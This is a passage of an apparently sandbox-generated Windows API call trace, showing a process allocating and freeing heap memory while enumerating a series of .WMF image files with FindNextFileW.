0x103c7e0 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2120 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033cc8 [0069.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.098] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2140 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033dd0 [0069.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.099] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2160 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033ed8 [0069.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.099] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2180 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033fe0 [0069.100] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.100] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.100] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.100] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff21a0 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10340e8 [0069.100] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.100] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.100] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.100] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff21c0 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10341f0 [0069.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2fc0) returned 0x103f9b0 [0069.100] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.101] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff21e0 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10342f8 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.101] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2200 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034400 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.101] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2220 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034508 [0069.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2240 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034610 [0069.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2260 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034718 [0069.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.103] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2280 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034820 [0069.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.103] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff22a0 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034928 [0069.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.103] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff22c0 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034a30 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.104] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff22e0 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034b38 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.104] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2300 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034c40 [0069.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.105] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2320 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034d48 [0069.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.105] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2340 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034e50 [0069.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.106] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2360 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1034f58 [0069.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.106] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2380 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1035060 [0069.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.107] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, 